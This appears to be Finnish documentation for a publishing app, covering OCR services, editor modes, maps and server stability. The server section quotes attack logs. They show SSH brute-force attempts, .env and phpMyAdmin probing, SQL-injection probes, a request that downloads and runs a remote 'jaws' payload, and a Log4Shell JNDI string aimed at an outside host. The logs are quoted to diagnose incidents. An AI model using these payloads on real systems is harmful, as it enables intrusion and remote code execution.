Kirjoituksien kokoelmat kirjoituksineen ja erikoissivut eivät ole ainoita asioita, joita teoksen etusivulla voi kohdata. Sideshow:ksi nimitetty ominaisuus mahdollistaa sijoittamaan etusivun laidan paikkeille eräänlaisen tietopaneelin, johon voi tuoda tietokyselyjen tuloksia eri tietokannoista, kirjoituksien listoja eri perustein, ajankohtaisuuksia toisaalla, mainoksia, interaktiivisia toimintoja ym.

Kuva 1. Käskytetty hakemaan viimeisempiä uutisia kahdesta eri API-palvelusta.
Kuva 2. Sideshow teoksen etusivulla, joka käyttää "Out of ink"-sisältölistaustyyppiä.
Kuva 3. Sideshow teoksen etusivulla, joka käyttää "Plain structure"-sisältölistaustyyppiä.

Kirjoituksien sisältöön automaattisesti vaikuttamaan on käytössä erilaisia functional embed -tyyppisiä, jotka näkyvät kirjoitusta editoitaessa tekstin ohessa siinä, missä muutkin placeholderit. Näiden avulla kirjoituksiin voi lisäillä ilman suurempaa vaivaa sisällysluettelon kirjoituksen alaotsikoista, listan samantapaisista kirjoituksista, listan kirjoitukseen tekoon osallistuneista, live news -osion alamerkintöineen ym.

Eräässä aiemmassa vaiheessa tekstintunnistuksessa kuvaskannauksista aiottiin käyttää ABBYY Cloud OCR SDK:ta, joka toimi niin luotettavan oloisesti kaikkiin lähinnä tekstiä sisältäviin kuviin, että se ehdittiin jo ottaa ns. production-käyttöön, mutta jossain vaiheessa se vain poistui ABBYYn tarjonnasta, vaikka se edelleen aiempien asiakkaiden käytössä onkin.

Monien vaihtoehtojen koettelun jälkeen on päädytty käyttämään kahta erilaista, joista ensinnä pyritään käyttämään Googlen Vision APIa ja jos se ei ole käytettävissä (esim. apikey puuttuu), käytetään OCRSpacea. Google on ilmainen 1000 käyttökertaan asti per kuukausi. OCRSpace on ilmainen jatkuvasti, mutta kuvatiedostojen koossa on rajoituksena yksi megatavu, ellei sitten hanki kuukausitilausta. Googlen Vision APIn käyttö vaatii luottokortin käyttöä, mutta siltä ei veloiteta mitään, jos käyttö ei ylitä tiettyä tasoa. Googlen apikeylle voi asettaa rajoituksia kuten esim., että se on käytettävissä vain Vision API:n käytössä ja vain tietyn verkkosivuston käytön rajoissa.

Googlen Vision API:lla saa helposti ja nopeasti luettua tekstimuotoon esim. ikivanhat kuitit. Kirjojen, lehtien ja verkkosivujen tekstit ym. tulevat myös hyvin todennäköisesti kelpoisasti tunnistetuksi.

Muina vaihtoehtoina on kokeiltu mm. Amazonin ja Microsoftin vastaavia, sekä api4ai:tä, mutta mm. hinnoitteluun ja käyttöönottoon liittyvät seikat tekivät Googlen Vision API:sta parhaimman tuntuisen vaihtoehdon. Microsoft olisi muuten voinut hyväkin vaihtoehto, mutta käytettäessä sitä Eden AI:n kautta, se saattoi usein esim. olla näkemättä mitään siinä, missä "kaikki muut" tunnistivat tekstin ihan hyvin. Toisaalta, saa mm. ABBYY OCR SDK:nkin tuottamaa ylimääräisiä kirjainmerkkisiä artefakteja (eng. "anomalies apparent during visual representation"). Kokeiltaessa käyttää Microsoftin Azure AI Visionia suoraan, kiinnostus terminoitui siihen, että se alkoi vaatimaan organisaatiotason hyväksyntää käyttäjätunnuksien käytölle tjs.

OCR-toiminto on käytössä sekä "particular browsing"-näkymässä, kun kuva on tarkastelussa "Large preview" -modaali-ikkunassa, että item preview -paneelissa adequates-näkymässä, kun tarkastelussa on kuva tai multi-image. Ensin mainitussa tapauksessa tunnistetun tekstin saa helposti leikepöydälle klikkaamalla sitä tai painamalla Ctrl-näppäintä pohjaan, jolloin voi valita tekstistä alueen, jolle voi sitten tehdä jotain kuten kopioida vain sen tai hakea sillä tietoa netistä. Toisessa tapauksessa saatu teksti sijoitetaan automaattisesti osaksi muistiinpanomaisen tekstin loppupuolta. Tekstin tunnistus kuvasta on jokseenkin nopea toimenpide käytettäessä Google Vision APIa, sillä siinä kestää noin sekunnin verran.

Tekstintunnistus tekstiä sisältävistä skannauksista (aiempaa kokeilua)

ABBYY:n tekstintunnistamisesta ei oikeastaan ole muuta kuin hyvää sanottavaa, sillä kaikki skannattua tekstiä esittävät kuvat (ja myös esim. screenshotit verkkosivuista), mitä sillä kokeili, tuottivat kelpo tuloksia. Sen tekstintunnistukselle voi antaa parametreinä, minkä kielisiä tekstejä kuvasta pyritään etsimään.

444 VIL THE MECHANISM OF TIME-BINDING of it can be found by analysis practically everywhere. Our problem is to analyse the general case. Let us follow up roughly the process. We assume, for instance, an hypothetical case of an ideal observer who observes correctly and gives an impersonal, unbiased account of what he has observed. Let us assume that the happenings he has observed appeared as: O, and then a new happening ( occurred. At this level of observation, no speaking can be done, and, therefore, I use various fanciful symbols, and not words. The observer then gives a description of the above happenings, let us say a, b, c, d, . . . , x; then he makes an inference from these descriptions and reaches a con- clusion or forms a judgement A about these facts. Wc assume that facts unknown to him, which always exist, are not important in this case. Let us assume, also, that his conclusion seems correct and that the action A" which this conclusion motivates is appropriate. Obviously, we deal with at least three different levels of abstractions: the seen, experienced ., lower order abstractions (un-spcakable) ; then the descriptive level, and, finally, the inferential levels. Let us assume now another individual, Smiths ignorant of struc- ture or the orders of abstractions, of consciousness of abstracting, of s.r.; a politician or a preacher, let us say, a person who habitually iden- tifies, confuses his orders, uses inferential language for descriptions, and rather makes a business out of it. Let us assume that Smith, observes the 'same happenings’. He would witness the happenings O, |, ..... and the happening would appear new to him. The happenings O, be would describe in the form a, b, c, d, . . . , from which fewer descriptions he would form a judgement, reach a conclu- sion, B; which means that he would pass to another order of abstrac- tions. When the new happening occurs, he handles it with an already formed opinion B, and so his description of the happening ( is coloured by his older s.r and no longer the x of the ideal observer, but B(x) --- y. His description of ‘facts’ would not appear as the a, b, c, d, . . . , x, of the ideal observer but a, b, c, d,..., B(x) = y. Next he would abstract on a higher level, form a new judgement, about ‘facts’ a, b, c, d, . . . , B(x) =y, let us say, C. We see how the semantic error was produced. The happenings appeared the ‘same’, yet the unconscious identification of levels brought finally an entirely different conclusion to motivate a quite different action, A diagram will make this structurally clearer, as it is very difficult to explain this by words alone. On the Structural Differential it is shown without difficulty.

HIGHER ORDER ABSTRACTIONS 445 Seen happenings (un- IDEAL OBSERVER SMITH] speakable) (First order abstrac- tions) ............. Ik-5 .X Description III! I I I! I ( Second order abstrac- tions) ............. a, b, c, d, ... x a, b, c, d,... B(x)=y Inferences, conclusions, iqB and what not. I (Third order abstrac- tions) ............. A c Creeds and other se- I I mantic reactions.... A' c I Action A9 e Let us illustrate the foregoing with two clinical examples. In one case, a young boy persistently did not get up in the morning. In another case, a boy persistently took money from his mother’s pocketbook. In both cases, the actions were undesirable. In both cases, the parents unconsciously identified the levels, x was identified with B(x), and con- fused their orders of abstractions. In the first case, they concluded that the boy was lazy; in the second, that the boy was a thief. The parents, through semantic identification, read these inferences into every new ‘description’ of forthcoming facts, so that the parents’ new ‘facts’ became more and more semantically distorted and coloured in evaluation, and their actions more and more detrimental to all concerned. The general conditions in both families became continually worse, until the reading of inferences into descriptions by the ignorant parents produced a semantic background in the boys of driving them to murderous intents. A psychiatrist dealt with the problem as shown in the diagram of the ideal observer. The net result was that the one boy was not ‘lazy’, nor the other a ‘thief’, but that both were ill. After medical attention, of which the first step was to clarify the symbolic semantic situation, though not in such a general way as given here, all went smoothly. Two families were saved from crime and wreck. I may give another example out of a long list which it is unnecessary for our purpose to analyse, because as soon as the ‘consciousness of abstracting’ is acquired, the avoidance of these inherent semantic dif- ficulties becomes automatic. In a common fallacy of 'Petitio

Tekstintunnistus valokuvista (aiempaa kokeilua)

Kukaan ei pidä siitä, että menneisyydessä kenties hyvinkin merkittäviä sijainteja tuodaan valokuvitse näytille netin kaupunkikohtaisessa keskusteluryhmässä ihmisiä sillä tapaa yllättävästi, etteivät he ehdi suhteuttamaan tuntumaansa nykyhetkestä ja muistojaan menneisyydestä tavallaan tunkeileviin valokuviin, joiden sisältö ja herättelemät tuntemukset eivät ehkä ollenkaan täsmää havainnoijaan persoonana. Sen sijaan selityksissä, jossa pääpaino ei ole ollenkaan sijainneissa tai ajallisuudessa, vaste ei todennäköisesti ole niin vastentahtoinen. Täten, näitä pari vuosikymmentä sitten otettua valokuvaa voinee hyvinkin käyttää esittelemään tekstintunnistuksen onnistumista valokuviin kohdistettuna.

Kävipä kuitenkin niin, että käyttökelpoisuus tekstintunnistamiseen valokuvista aiheutti tuntuman, että tekstintunnistamiseen tarvitaan erikseen jonkin tekoälyn harjoituttamisesta algoritmeineen ja malleineen. Tässä on käytetty Cloudinaryn OCR-lisäosaa, joka käyttää varsinaisesti Googlen Vision API:a, eikä sille sen dokumentaation mukaan voi antaa kummoisempia parametrejä tekstintunnistamisen ohjaamiseksi, jos tekstit koostuvat pelkästään latinalaisista aakkosista eli analyysin tulokset ovat parasta, mitä on saatavilla. Alkuperäiset, analyysissä käytetyt kuvat ovat kooltaan 2015 x 1512 pikseliä. Googlen Vision API palauttaa analyysin tuloksena myös tiedot siitä, mistä kohdin kuvaa mikäkin teksti on löytynyt, mitä Cloudinary hyödyntää korostaakseen kuvista automaattisesti ne kohdat, missä tekstiä analyysin perusteella esiintyy. Cloudinaryn kanssa on käyty neuvotteluja siitä, voisiko tämän julkaisusovelluksen käyttäjälle saada erikoishinnoittelun OCR-toiminnallisuutta varten (saatavilla erikseen pyydettäessä).

BAR & CAFE, NESS, Billy, KID, PUB, matkavekka, FINN, Veld, verka, MATKATOIMISTO, Malsta, sites, GidenApala, Vedka
HELIOS, LAPPENANNAN KAIHDIN, MARKIISI, Tjärebor, Puh. 4150 405, Lomat meilta, KAIED MARKI, AVONNA, RKIISI mattin
PI, Maksuilinen Alueella, lippuautomaatti, KANGAS-KULMA, + HELIOS, DIE HOU, P., KAMERAY-DIGIKAMERAT-ART-TAR, KANGAS-KU, MARKISE, HELIOS, FUDW DENUR S
KAUPPAKESKO, RMAD, OMEGA, SUNINEN, HLAT S 685 ANTIT, COFFEE HOUSE
Tukip, saile, NISSEN, CO ECA, ©HairStore, SUOMALAINEN
Billy JOKA PAIVA, -03, OMALAINEN KIRJAKAUPPA, Hemter, Z-SSEN, elisa •HairStore, OMALAINEN, DZAIAISS
SELES, NATUMA, NATUMAS, al are-lanp
PUB, matkavekka Vekka, Matkahuolto, FINNRIR, opRa, POCICE

"Spacious"-tekstieditoinnissa yritetään emuloida vierekkäin ja allekkain aseteltuja sivuja käyttämällä monirivisiä, kooltaan muutettavia tekstikenttiä, joissa tekstiä juoksutetaan tekstiä kirjoittaessa automaattisesti niin moniin muihin tekstikenttiin kuin on tarpeen. Tekstikentältä toiselle pääsee myös näppäimistön nuolipainikkein. Jos tekstiin on liitetty kuvia tai muita liitettävissä olevia, ne säilyvät muuttumattona, vaikkei niitä tässä moodissa asetellakaan esille sen osoittamiseksi, että ne ovat kirjoitukseen liitettynä.

Huomioitavaa.. spacious-moodissa rajoituksena on ainakin toistaiseksi, että kirjasimena täytyy käyttää tasalevyistä sellaista, eikä tekstissä voi olla muotoiluja tai kuvia. Tekstiä ei myöskään voi kopioida näppärästi hiirellä siten, että ottaisi kerralla kopioitavaksi useammassa kuin yhdessä tekstikentässä olevaa sisältöä. Ensimmäisen tekstikentän alakulmassa on kokosäädin, jolla voi säätää kaikkien tekstikenttien kokoa esim. sellaisiksi, että tekstikenttinä on kaksi leveää ja korkeaa sellaista vierekkäin, kolme pitkulaista vierekkäin tai pienikokokoisia tekstikenttiä ruudukkomaisesti rivitettynä. Ylimääräiset tekstikentät poistetaan automaattisesti tai jos niitä tarvitaan lisää tekstin mahduttamiseksi, niitä lisätään. Selainikkunan koon säätämisellä saadaan lisää säätömahdollisuutta sille, kuinka monta tekstikenttää voidaan mahduttaa vierekkäin. Yhdelle riville mahtumattomat aloittavat uuden rivillisen tekstikenttiä.

Spacious-moodissa on mahdollisuus siirrättää tekstikappaleita eteen- tai taaksepäin sijoittamalla kursori jonkin tekstikappaleen kohdalle ja painamalla Ctrl-näppäimen kanssa nuolinäppäimillä ylös- tai alaspäin. Siirtyvä tekstikappale vaihtaa tällöin paikkaa viereisen kanssa. Tämä toiminto vahvistaa tuntumaa siitä, että teksti on yhtenäistä, sillä tekstikappale siirtyy tekstikenttien välillä siinä missä tekstikentän puitteissakin.

Manuaaliset kuormitustestit mukaan lukien KotvaWrite Stories kestää hyvin tavallista käyttöä ja vain yhdelläkin palvelimella toimiessaan sen voisi aivan hyvin jättää vaikka kuukaudeksi ilman erityisempää seurantaa, jos samanaikaiset käyttäjämäärät eivät ole aivan mahdottoman suuria. Tälle olettamukselle voivat aiheuttaa poikkeusta mystiset tapaukset, joiden yhteydessä virtuaalisen palvelimen (Linux) muistin ja levyn käyttö kasvavat hetkellisesti moninkertaiseksi, mikä sitten ns. kaataa sovelluspalvelimen, johon julkaisusovellus on asennettuna. Seuraukset eivät välttämättä ole kovinkaan kriittiset, sillä mahdollisesti kesken jääneet tallennukset tietokantaan ja tiedostoihin saa/saisi korjattua ja siistittyä semiautomaattisesti, minkä jälkeen riittää sovelluspalvelimen uudelleen käynnistäminen. Toisaalta, jos asiaan liittyy runsasta hakkerointikokeiluja, voivat jotkin käyttöjärjestelmätason resurssit olla lopuillaan kuten auki olevien tiedostojen määrä (eng. "files that are currently being reviewed or modified").

Käydessä silmäillen läpi käytössä olevan Linux-käyttöjärjestelmän ytimen logitiedostoa, voi sieltä tehdä huomiona, että muisti on päässyt totaalisesti loppumaan Java-prosessilta esim. 15.10.2022, 18.8.2022 ja 5.8.2022:

[Sat Oct 15 23:42:37 2022] Out of memory: Killed process 1295081 (java)

[Thu Aug 18 11:45:30 2022] Out of memory: Killed process 272984 (java)

[Fri Aug 5 06:11:36 2022] Out of memory: Killed process 4157049 (java)

Jos vähän tarkempia ollaan, sovelluspalvelin, johon julkaisusovellus on asennettuna, on itse asiassa Java servlet container, jota ajetaan Java-virtuaalikoneessa (Java Virtual Machine, JVM) ja tähän liittyvälle Java-prosessille on konfiguroitavissa, missä rajoissa sen sallitaan käyttävän muistia. Monien kuormitustestien perusteella tietyt konfiguroinnit muistinkäyttöön liittyen ovat erittäin riittäviä - kunnes eivät sitten jostain syystä olekaan.

Linux-käyttöjärjestelmään, josta julkaisusovellus asennettuna löytyy, on erikseen asennettuna kaksi APM-agenttia (Application Performance Monitoring), jotka keräävät reaaliajassa monenlaista tietoa esim. käyttöjärjestelmän ja julkaisusovelluksen toiminnasta, mitä voi sitten tarkastella lukuisin eri tavoin APM-palveluiden webkäyttöliittymissä (käytössä saattaa olla esim. New Relic ja Datadog). Näihin muistin loppuminen -tapauksiin liittyen on aina käynyt selville yhtä ja samaa eli nettiliikenteen määrä ei ole ollut merkittävänä tekijänä sellaisella hetkellä, jolloin virtuaaliprosessin käyttö on moninkertaistanut esim. 20-kertaiseksi ja levyä käytetään ihmeelliseen runsaasti lyhyen ajan puitteissa. Tuollaisina hetkinä ei olekaan ollut mikään ihme, että julkaisusovelluksen toiminta esim. tietokantakyselyiden osalta vie aikaa normaalien millisekuntien sijaan yli kymmenen sekuntia.

Lisäksi käytössä on myös mm. Papertrail-palvelu, johon voi uudelleenohjata logittumaan logitietoa useista eri lähteistä kuten sovelluspalvelimelta ja käyttöjärjestelmältä, jolloin logitietoja ei tarvitse käydä lueskelemaan Linuxissa komentotulkin käytön tasolla, vaan niitäkin voi tarkastella yhdenlaisen webkäyttöliittymän kautta. Sieltä on selvinnyt mm. sellaista, että joku tai jotkut wannabe-hakkerit tms. ovat tehneet paljon jonkinlaista kähmäistä kokeilua päästäkseen käyttöjärjestelmän, sovelluspalvelimen tai julkaisusovelluksen suojauksista läpi. Tällaista on jatkunut koko vuoden 2022, mutta siinä ei ole kertaakaan ollut pyrkimystä aiheuttaa DDoS-hyökkäyksiä (Distributed Denial of Service) eli palvelun toiminnan estämistä, vaan kyse on ollut esim. hitaasta käyttäjätunnuksien ja salasanojen kokeiluista levittäytyneenä pitkälle ajanjaksolle, jolloin esim. per minuutti kokeiluja ei kuin muutaman kymmentä. Siis joka minuutti, joka tunti, joka päivä ja joka kuukausi. Eikö vain voisi tehdä kerralla jotain oikein?

Muistin loppumisen ajoittumisen syyn päättelemisen kannalta voisi olla mahdollista nähdä yhteyttä hakkerointikokeilujen ajoittumiselle sekunteja ennen muistin loppumista, mutta koska kyse on ollut virtuaalisen palvelimen käyttämisestä dedikoidun sellaisen sijaan eli samoja fyysisiä laiteresursseja käyttää enemmän kuin yksi datakeskuksen asiakas ja joskus laitteet voivat myös vioittua, voisi syynä olla myös jostain muusta kuin mitä voi tarkastella käytettävissä olevista logeista ja visualisoitua tietoa näyttävistä kojelaudoista. Erikseen tätä datakeskus-palveluntarjoajalta kysyttäessä vastaus oli kuitenkin kieltävä eli tapahtuma-aikaan ei sen mukaan ollut mitään mainittavaa poikkeavuutta.

Normaalisti eli siis ihan aina Hetznerin virtuaalipalvelinta käytettäessä yksi kappale CPX21-virtuaalipalvelinta, jossa on 4 GB muistia ja 3 siivua prosessoriaikaa, on ollut täysin riittävä "peruskäyttöön", mutta on muistin loppumiselle ja muille erityisen poikkeaville ongelmille muitakin selityksiä kuin jo mainitut. On esim. sovelluspalvelimen olemista versioltaan uusinta paljon jäljessä ja sama pätee myös Javaan, jota serveripuolella ohjelmointikielenä käytetään. Sillekin on erilliset parametrisäätönsä, millä perustein sovelluspalvelin ja Java siistivät muistista pois sellaista, mille ei enää ole käyttöä, mutta ne jätetään usein vakioasetuksiinsa. Kaikki tämä on sinänsä ihan hallittavissa olevaa, mutta voi vaatia pitkäaikaista seurantaa ja testailua, että rajatapaukset saadaan esille.

Loppuosa tästä kirjoituksesta sisältää huomioita erään muistin loppumis -tapauksen jäljiltä. Ja jos tässä voi lähettää terveisiä julkaisusovelluksen ylläpitäjälle, mainittakoon, että sen verran voisi tehdä lisäkonfigurointia, etteivät IP-osoitteet näkyisi 127.0.0.1-tyyppisinä sovelluspalvelimen logeissa, vaan alkuperäisinä IP-osoitteina. Tosin, olikohan General Data Protection Regulationilla (GDPR) jotain sanottavaa tähän?

Runsaasti sisäänkirjautumisyrityksiä logitiedossa /var/log/messages:

Oct 15 22:52:42 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479370]: Invalid user ktx from 5.51.84.107 port 55716

Oct 15 22:52:42 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479370]: Received disconnect from 5.51.84.107 port 55716:11: Bye Bye [preauth]

Oct 15 22:52:42 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479370]: Disconnected from invalid user ktx 5.51.84.107 port 55716 [preauth]

Oct 15 22:52:56 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479454]: Invalid user postgres from 195.88.87.19 port 53396

Oct 15 22:52:56 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479454]: Received disconnect from 195.88.87.19 port 53396:11: Bye Bye [preauth]

Oct 15 22:52:56 snapshot-47300778-centos-2gb-hel1-1-final sshd[2479454]: Disconnected from invalid user postgres 195.88.87.19 port 53396 [preauth]

Oct 15 22:55:25 snapshot-47300778-centos-2gb-hel1-1-final sshd[2480086]: Invalid user Test from 179.60.147.99 port 37284

Oct 15 22:55:25 snapshot-47300778-centos-2gb-hel1-1-final sshd[2480086]: Connection closed by invalid user Test 179.60.147.99 port 37284 [preauth]

Oct 15 23:13:34 snapshot-47300778-centos-2gb-hel1-1-final sshd[2484695]: Invalid user support from 193.106.191.50 port 49598

Oct 15 23:13:43 snapshot-47300778-centos-2gb-hel1-1-final sshd[2484695]: Connection closed by invalid user support 193.106.191.50 port 49598 [preauth]

Oct 15 23:29:58 snapshot-47300778-centos-2gb-hel1-1-final sshd[2488819]: Invalid user Test from 179.60.147.99 port 55870

Oct 15 23:29:58 snapshot-47300778-centos-2gb-hel1-1-final sshd[2488819]: Connection closed by invalid user Test 179.60.147.99 port 55870 [preauth]

Oct 15 23:39:43 snapshot-47300778-centos-2gb-hel1-1-final sshd[2491284]: Received disconnect from 92.255.85.69 port 26930:11: Bye Bye [preauth]

Muutamia epäilyttäviä logirivejä siellä täällä sovelluspalvelimen logitiedostoa localhost_access_log:

127.0.0.1 - - [15/Oct/2022:23:03:39 +0200] "POST /core/.env HTTP/1.1" 404 764

127.0.0.1 - - [15/Oct/2022:23:03:39 +0200] "GET /core/.env HTTP/1.1" 404 764

127.0.0.1 - - [15/Oct/2022:23:03:40 +0200] "POST / HTTP/1.1" 200 13720

127.0.0.1 - - [15/Oct/2022:23:03:40 +0200] "POST /core/.env HTTP/1.1" 404 764

127.0.0.1 - - [15/Oct/2022:23:21:47 +0200] "GET /view.jsp?solutionid=539'A=0&writingid=12501 HTTP/1.1" 200 13477

127.0.0.1 - - [15/Oct/2022:23:21:52 +0200] "GET /view.jsp?solutionid=539&writingid=12501'A=0 HTTP/1.1" 200 15507

Muutama sata variaatiota pääsyn saamiseksi asentamattomaan webkäyttöliittymään:

127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /db/phpmyadmin/index.php?lang=en HTTP/1.1" 404 782

127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /sql/phpmanager/index.php?lang=en HTTP/1.1" 404 783

127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /mysql/pma/index.php?lang=en HTTP/1.1" 404 778

127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /MyAdmin/index.php?lang=en HTTP/1.1" 404 772

127.0.0.1 - - [15/Oct/2022:19:02:14 +0200] "GET /sql/phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 784

Pääsyoikeuden saamisen yrittämistä parametreja näpräämällä ja osoitteita arvailemalla:

127.0.0.1 - - [15/Oct/2022:16:18:21 +0200] "GET /shell?cd+/tmp;rm+-rf+*;wget+81.161.229.46/jaws;sh+/tmp/jaws HTTP/1.1" 404 756

127.0.0.1 - - [15/Oct/2022:16:18:25 +0200] "GET /shell?cd+/tmp;rm+-rf+*;wget+81.161.229.46/jaws;sh+/tmp/jaws HTTP/1.1" 404 756

127.0.0.1 - - [15/Oct/2022:16:06:46 +0200] "GET /admin.pl HTTP/1.1" 404 759

195.96.137.4 - - [15/Oct/2022:16:06:46 +0200] "GET /admin.jsa HTTP/1.1" 404 760

127.0.0.1 - - [15/Oct/2022:11:57:08 +0200] "GET /linusadmin-phpinfo.php HTTP/1.1" 404 773

127.0.0.1 - - [15/Oct/2022:11:57:08 +0200] "GET /infos.php HTTP/1.1" 404 760

127.0.0.1 - - [15/Oct/2022:10:22:58 +0200] "GET /wp1/wp-includes/wlwmanifest.xml HTTP/1.1" 404 790

127.0.0.1 - - [15/Oct/2022:10:22:58 +0200] "GET /test/wp-includes/wlwmanifest.xml HTTP/1.1" 404 791

82.99.217.202 - - [15/Oct/2022:07:52:03 +0200] "GET /?id=%24%7Bjndi%3Aldap%3A%2F%2F218.24.200.243%3A8066%2FTomcatBypass%2FY3D HTTP/1.1" 200 13720

127.0.0.1 - - [15/Oct/2022:01:29:44 +0200] "POST /FD873AC4-CF86-4FED-84EC-4BD59C6F17A7 HTTP/1.1" 404 787

Sovelluspalvelimen toisessa logissa (catalina) on toisinaan kuviteltujen heikkouksien kokeilua:

14-Oct-2022 04:01:50.622 INFO [http-nio2-8080-exec-21] org.apache.coyote.http11.Http11Processor.service Error parsing HTTP request header

 Note: further occurrences of HTTP request parsing errors will be logged at DEBUG level.

       java.lang.IllegalArgumentException: Invalid character found in method name [0x160x030x010x00{0x01;0x993Z0x15e}0x005/0x050x010x00...]. HTTP method names must be tokens

15-Oct-2022 14:21:12.637 INFO [http-nio2-8080-exec-6] org.apache.coyote.http11.Http11Processor.service Error parsing HTTP request header

 Note: further occurrences of HTTP request parsing errors will be logged at DEBUG level.

   java.lang.IllegalArgumentException: Invalid character found in method name [0x160x030x010x00{0xe40x920x88{#{*<0xc80xec0xfc}l0x820x85\0xcc0x1a0xc0/0x0050xc00x000x00...]. HTTP method names must be tokens

Motivaatio, ajankohta tjm. syy voivat vaikuttaa siihen, ettei jotain kirjoittamista käy aloittamaan juuri sillä hetkellä, kun netistä jotain selaillessaan tulee huomioineeksi jotain talteen ottamisen arvoista, jolla voi olla vähintään jostain muistuttava merkitys. Tuolloin screenshot yhdessä nähdyn sivun osoitteen kanssa riittänee myöhemmän käytön alkuun saamiseen.

Screenshottien ottamiseen ja kopioimiseen yhdessä verkko-osoitteen kanssa julkaisusovelluksen instanssiin (Quick saves -kuvasäilöön) on tehty Minimum Viable Product -periaatteella Android-sovellus, joka on tarkoitettu käytettäväksi pelkästään Android-tableteilla, joissa on käyttöjärjestelmänä vähintään Android 11.

Tämä sovellus toimii vastaanottajana selaimen jako-toiminnolle, mitä kautta se saa tiedon selaimessa avoinna olevasta verkko-sivusta. Tämän tiedon perusteella se voi avata samaisen sivun kyseisessä sovelluksessa, jotta käyttäjä voi sitten otella siitä tarvitsemansa määrän screenshotteja, jotka näkyvät samassa näkymässä olevassa kuvaruudukossa. Screenshotit jäävät talteen laitteen Pictures-hakemistoon. Siirrettävät kuvat pyritään säilyttämään niin korkearesoluutioisessa laadussa kuin mahdollista, jotta niiden myöhempi mahdollinen rajaaminen jäisi mahdolliseksi.

Ilman erillistä sovellusta kuvakaappauksen linkin takaisesta sivusta saa otettua mm. lisäämällä linkki ensin adequateen ja valitsemalla sitten Take a screenshot -toiminto (ks. ohjeistuksen kirjoitus "Mietintäaineistot eli palvelun termistössä adequates") tai sitten ottamalla kuvakaappaus käyttäen mobiililaitteen tai sen selaimen omia toiminnallisuuksia.

Androidilla saa otettua webbisivuista vaikka koko sivun korkuisen kuvakaappauksen, kun ensin kirjoittaa osoiteriville "chrome://flags" ja valitsee lukuisista asetuksista "screenshots for android v2", minkä laittaa "enabled". Tällöin selaimessa saa käyttöön jako-toiminnosta löytyvän "pitkän kuvakaappauksen", mikä tallentaa otetan kuvakaappauksen kyseiseen laitteeseen (hakemistoon "DCIM/Screenshots", kuvatiedoston nimi muodostuu vakioidun muodon mukaan).

iPadilla saa otettua webbisivuista koko sivun korkuisen kuvakaappauksen tai rajatumman kokoisen, kun ensin painaa lyhykäisesti Home ja jompaa kumpaa volyymi-painikkeista, minkä jälkeen pääsee valitsemaan näytön ja koko sivun kuvakaappauksen väliltä. Tallennus tekee PDF-tiedoston, jos tekee koko sivun kuvakaaappauksen, muuten PNG-tiedoston. Molemmilla valinnoilla pääsee tekemään rajausta ja toimii yhtäläisesti esim. Safaria ja Edgeä käytettäessä. Kuvatiedoston nimeksi tulee automaattisesti webbisivun otsikko.

Windows 11:een tavanomaisesti sisältyvässä Edge-selaimessa on perusominaisuuksina verkkosieppaus-toiminnon, jolla voi ottaa verkkosivuista sekä koko sivun kokoisen kuvakaappauksen tai rajailla miten haluaa. Tiedostonimi sisältää sanan "verkkosieppaus" ja kuvatiedoston muoton on aina jpeg. Vaihtoehtoisesti voi asentaa selaimen laajennusosan kuten FireShotin.

PDF-tiedostojen sivujen ja niihin tehtyjen merkintöjen kuvatiedostoon viemiseksi on kentied saatavilla PDF-lukija -sovelluksia, joiden Share-toiminnon kohteista löytyy suoraan mahdollisuus tallentaa esille ollut sivu kuvatiedostoksi valittuun paikkaan. Toisinaan nämä eivät tarjoa kovinkaan korkearesoluutioisen kuvan tekemistä, joten erillinen, kenties pari euroa maksava, sovellus sellaiseen erityisesti tarkoitettuna voi olla paljon parempi vaihtoehto (valittavissa esim. kuvakoko, sivut, tiedostotyyppi ym.). Kun PDF-tiedostosta on saatu halutunlaiset kuvat, voi saman laitteen selaimessa avoinna olevan julkaisusovelluksen importing-näkymässä sitten tuoda tallennetun kuvan julkaisusovelluksen teoksen tai adequatesetin käyttöön.

Kuten on tarkoituksena välttää aiheuttamasta käyttäjälle muistikuormitusta julkaisusovellusta käyttäessä, ei haluta aiheuttaa muistikuormitusta myöskään liittyvien ulkoisten palveluiden kustannusten tai rajoitusten hallittavuuden osalta. Jotkin ulkoiset palvelut ovat käytettävissä vain sisällöntuotanto-vaiheessa, mutta karttapalvelut eräinä ovat osittain jatkuvasti käytettävissä, jos jotkin julkiset teokset sisältävät interaktiivisia karttoja, eivätkä ne aina ole rajattoman ilmaisia käyttää. Tämä on jossain määrin myös liiketoiminnallinen päätös eli mitä julkaisusovelluksen asiakkaaksi ryhtyvälle voidaan luvata ym.

Karttojen käyttäminen kirjoituksissa on näyttävä keino selventää sijaintiin liittyvää asiaa. Ulkoista ohjelmistorajapintaa käytetään reverse geocoding -tarkoituksessa muuntamaan esim. kaupungin nimellä tehty paikan määritys karttakoordinaateiksi. Karttapalveluina on vaihtoehtoina muutama erilainen.

Karttojen näyttämiseen hyödynnetään kolmannen osapuolen ohjelmistokomponentteja, joiden ensikokeilut ovat tämän verkkopalvelun toteuttamisen mielessä aiheuttaneet monenlaisia ideoita siitä, millä tavoin käyttäjän voisi antaa karttoja hyödyntää. Mahdollisuuksinahan olisivat mm. tyylillisesti erilaisten karttapalasten käyttö, kartan päälle lisättävät elementit ja reittiohjeet. Tässä lähinnä esimerkinomaisesti kokeiltu erilaisten ohjelmistokomponenttien toimivuutta. Oman mietintänsä aiheuttaa sekin, että karttapalveluiden käyttö saattaa olla jostain käyttöasteesta asti maksullista ja yhteydenottojen määrä per jokin ajanjakso voi olla rajoitettua. Voikin olla, että käyttäjän joutuu laittamaan hankkimaan itse käyttäjätunnuksensa karttapalvelun API:a varten (registeröinti näihin palveluihin helppoa, mutta voihan siinä hetki mennä, että löytää sen/ne kohdat, joista saa tarvittavan API-avaimen).

